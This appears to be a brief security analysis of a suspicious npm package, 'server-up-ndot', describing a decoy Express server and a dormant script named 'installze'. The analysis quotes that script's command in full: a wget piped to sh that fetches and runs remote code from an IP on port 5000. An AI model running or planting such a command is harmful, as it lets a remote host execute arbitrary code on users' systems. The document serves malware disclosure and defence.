server-up-ndot@1.0.0

Analysis

Package ships a script named "installze" that executes wget -qO- 192[.]168[.]219[.]159:5000/js/app/1 | sh — downloading and running arbitrary code from the private IP 192[.]168[.]219[.]159 on port 5000. The main entry point index.js is a benign Express hello-world server acting as a decoy. The package also bundles a file (./package/1) that echoes "ndot" branding. The downloader is dormant under normal npm install (the script name is not a lifecycle hook), suggesting staged infrastructure.